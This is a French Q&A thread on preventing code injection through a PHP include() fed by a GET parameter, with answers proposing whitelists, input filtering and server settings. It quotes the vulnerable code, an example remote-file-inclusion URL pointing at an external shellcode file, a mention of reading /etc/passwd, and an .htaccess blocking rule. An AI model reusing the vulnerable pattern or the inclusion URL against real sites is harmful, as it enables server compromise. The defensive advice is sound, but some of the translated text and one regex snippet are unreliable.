La meilleure façon d'éviter l'injection de code en PHP

mon site Web a été récemment attaqué par, ce qui me semblait, un code innocent:

<?php
  if ( isset( $ _GET['page'] ) ) {
    include( $ _GET['page'] . ".php" );
  } else {
    include("home.php");
  }
?>

il n'y avait pas d'appels SQL, donc je n'avais pas peur d'une Injection SQL. Mais apparemment, SQL n'est pas le seul type d'injection.

ce site Web a une explication et quelques exemples pour éviter l'injection de code: http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html

comment protégeriez-vous ce code de l'injection de code?

21
demandé sur pek 2008-09-02 09:24:28

10 réponses

utilisez une liste blanche et assurez-vous que la page est dans la liste blanche:

  $whitelist = array('home', 'page');

  if (in_array($_GET['page'], $whitelist)) {
        include($_GET['page'].'.php');
  } else {
        include('home.php');
  }
39
répondu Jeremy Ruten 2008-09-02 05:30:06

une autre façon d'assainir l'entrée est de s'assurer que seuls les caractères autorisés (pas de"/",".", ":", ...) sont en elle. Cependant, n'utilisez pas une liste noire pour mauvais caractères, mais une liste blanche pour les caractères autorisés:

$page = preg_replace('[^a-zA-Z0-9]', '', $page);

... suivi d'un file_exists.

de Cette façon vous pouvez vous assurer que seuls les scripts à exécuter sont exécutés (par exemple, cela permettrait d'exclure un "blabla.Inc.php", parce que "."n'est pas permettre.)

Remarque: C'est une sorte de "hack", parce que l'utilisateur pourrait alors l'exécuter "h.o.m.e" et qu'il donnerait la page "accueil", parce que tout ce qu'il fait est la suppression de tous les caractères interdits. Il n'est pas prévu d'arrêter "smartasses" qui veulent des trucs mignons avec votre page, mais il empêchera les gens de faire vraiment mauvais choses.

BTW: une Autre chose que vous pourriez faire chez vous .htaccess est d'empêcher le fichier des tentatives d'attaques:

RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /–http– [F,NC]
RewriteRule http: /–http– [F,NC]

de cette façon, tous les accès de page avec l'url" http: "(et la chaîne de requête) aboutissent à un message d'erreur" interdit", sans même atteindre le script php. Que les résultats en moins de la charge du serveur.

Cependant, gardez à l'esprit qu'aucun" http " n'est autorisé dans la chaîne de requête. Votre site web pourrait l'exiger dans certains cas (peut-être en remplissant un formulaire).

BTW: si vous pouvez lire l'Allemand: j'ai aussi un blog post sur ce sujet.

14
répondu BlaM 2008-09-02 08:40:08

la règle #1 lors de l'acceptation de l'entrée de l'utilisateur est toujours la nettoyer. Ici, vous ne nettoyez pas votre page obtenir variable avant de passer dans l'inclure. Vous devez effectuer une vérification de base pour voir si le fichier existe sur votre serveur avant de l'inclure.

5
répondu Kyle Cronin 2008-09-02 05:29:52

Pek, Il ya beaucoup de choses à se soucier d'un ajout à l'injection sql, ou même différents types d'injection de code. Maintenant pourrait être un bon moment pour regarder un peu plus loin dans la sécurité des applications web en général.

D'une question précédente sur passer du bureau au développement web , j'ai écrit:

Le OWASP Guide de la Construction de la sécurité des Applications Web et de Services Web doit être lecture obligatoire pour tout développeur web qui souhaite prendre la sécurité au sérieux (qui devrait être tous développeurs web). Il y a beaucoup de principes à suivre qui aident avec l'état d'esprit requis en pensant à la sécurité.

Si lire un gros document n'est pas pour vous, alors jetez un oeil à la vidéo du séminaire Mike Andrews a donné à Google quelques années en arrière sur Comment casser le logiciel Web .

5
répondu Cheekysoft 2017-05-23 12:25:49

je suppose que vous avez affaire à des fichiers dans le même répertoire:

<?php
if (isset($_GET['page']) && !empty($_GET['page'])) {
  $page = urldecode($_GET['page']);
  $page = basename($page);
  $file = dirname(__FILE__) . "/{$page}.php";
  if (!file_exists($file)) {
    $file = dirname(__FILE__) . '/home.php';
  }
} else {
  $file = dirname(__FILE__) . '/home.php';
}
include $file;
?>

ce n'est pas très joli, mais ça devrait régler votre problème.

4
répondu Till 2008-09-02 05:29:48

pek, à court terme correctif appliquer l'une des solutions proposées par d'autres utilisateurs. Pour un plan à moyen ou long terme vous devrait envisager de migrer vers l'un des cadres web existants. Ils gèrent toutes les choses de bas niveau comme le routage et l'inclusion de fichiers de manière fiable et sécurisée, de sorte que vous pouvez vous concentrer sur les fonctionnalités de base.

ne réinventez pas la roue. Utiliser un framework. N'importe lequel d'entre eux est meilleur que nul. Le temps initial l'investissement dans l'apprentissage ça rapporte presque instantanément.

3
répondu Michał Rudnicki 2008-09-02 13:18:36

quelques bonnes réponses jusqu'à présent, il vaut aussi la peine de souligner quelques détails de PHP:

les fonctions d'ouverture de fichier utilisent wrappers pour supporter différents protocoles. Cela inclut la possibilité d'ouvrir des fichiers sur un réseau local windows, HTTP et FTP, entre autres. Ainsi, dans une configuration par défaut, le code de la question d'origine peut facilement être utilisé pour ouvrir n'importe quel fichier arbitraire sur l'internet et au-delà; y compris, bien sûr, tous les fichiers sur le les disques locaux du serveur (que l'utilisateur webbserver peut lire). /etc/passwd est toujours amusant.

Safe mode et open_basedir peuvent être utilisés pour restreindre l'accès aux fichiers situés en dehors d'un répertoire spécifique.

également utile est le paramètre de configuration allow_url_fopen , qui peut désactiver L'accès URL aux fichiers, en utilisant les fonctions d'ouverture de fichier. ini-set peut être utilisé pour définir et désactiver cette valeur à l'exécution.

ce sont tous de bons garde-fous de secours, mais s'il vous plaît utiliser une liste blanche pour l'inclusion des fichiers.

1
répondu Cheekysoft 2008-09-02 10:23:39

je sais que c'est un poste très ancien et je m'attends à ce que vous n'avez pas besoin d'une réponse plus, mais je manque toujours un aspect très important imho et je l'aime à partager pour les autres personnes lisant ce poste. Dans votre code pour inclure un fichier basé sur la valeur d'une variable, vous faites un lien direct entre la valeur d'un champ et le résultat voulu (page devient la page.php). Je pense qu'il est préférable de les éviter. Il y a une différence entre la demande d'une page et la livraison de cette page. Si vous faites cette distinction, vous pouvez faire usage de belles urls, qui sont très conviviales et SEO. Au lieu d'une valeur de champ comme 'page' vous pourriez faire une URL comme 'Spinoza-Ethica'. C'est une clé dans une liste blanche ou une clé primaire dans une table d'une base de données et retournera un nom de fichier ou une valeur hardcoded. Cette méthode présente plusieurs avantages en plus d'une liste blanche normale:

  1. la réponse de l'extrémité arrière est effectivement indépendante de la demande de l'extrémité avant. Si vous voulez pour configurer votre système back end différemment, vous n'avez pas à changer quoi que ce soit à l'avant.

  2. assurez-vous toujours que vous terminez avec des noms de fichier codés en dur ou un équivalent de la base de données (preferrabley une valeur de retour d'une procédure stockée), parce qu'il demande des problèmes lorsque vous utilisez les informations de la demande pour construire la réponse.

  3. parce que vos URLs sont indépendantes de la livraison à partir de la fin, vous n'aurez jamais à réécrire vos URLs dans le fichier htAccess pour ce genre de changement.

  4. les URLs représentées pour l'utilisateur sont conviviales, informant l'utilisateur sur le contenu du document.

  5. Belles URLs sont très bons pour le référencement, parce que les moteurs de recherche sont à la recherche de contenu pertinent et lorsque votre URL est en ligne avec le contenu sera-t-il obtenir un meilleur taux. Au moins un meilleur taux puis lorsque votre contenu est certainement pas en ligne avec votre contenu.

  6. si vous n'avez pas de lien direct vers un fichier php, vous pouvez traduire l'URL nice dans n'importe quel autre type de requête avant de la traiter. Qui donne au programmeur beaucoup plus de flexibilité.

  7. vous aurez à épurer la demande, parce que vous obtenez l'information d'une source standard peu fiable (le reste du Web). Utiliser seules de belles URLs comme entrées possibles simplifient le processus d'assainissement de L'URL, car vous pouvez vérifier si L'URL retournée est conforme à votre propre format. Assurez - vous que le format de l'URL de nice ne contient pas de caractères qui sont largement utilisés dans les exploits (comme ',",<,>,-,&,; etc..).

1
répondu Loek Bergman 2013-09-22 12:47:26

@pek-cela ne marchera pas, car vos touches de tableau sont 0 et 1, pas 'home' et 'page'.

ce code devrait faire l'affaire, je crois:

<?php

$whitelist = array(
  'home',
  'page',
);

if(in_array($_GET['page'], $whitelist)) {
  include($_GET['page'] . '.php');
} else {
  include('home.php');
}

?>

comme vous avez une liste blanche, il ne devrait pas être nécessaire de file_exists() non plus.

0
répondu ceejayoz 2008-09-02 20:06:36

penser à L'URL est dans ce format:

www.yourwebsite.com/index.php?page= http://malicodes.com/shellcode.txt

si le shellcode.txt exécute L'injection SQL ou PHP, alors votre site web sera en danger, non? Pensez - y, utiliser une liste blanche serait utile.

il y a un moyen de filtrer toutes les variables pour éviter le piratage. Vous pouvez utiliser les IDS PHP ou la Suite de sécurité OSE pour aider à éviter les piratage. Après l'installation de la suite de sécurité, vous devez activer la suite, voici le guide:

http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html

je vous suggérerais d'activer la protection layer 2, alors toutes les variables POST et GET seront filtrées spécialement celle que j'ai mentionnée, et s'il y a des attaques trouvées, il vous en informera immédiatement/

la sécurité est toujours priorité

0
répondu Jaya Kuma 2013-02-05 05:11:00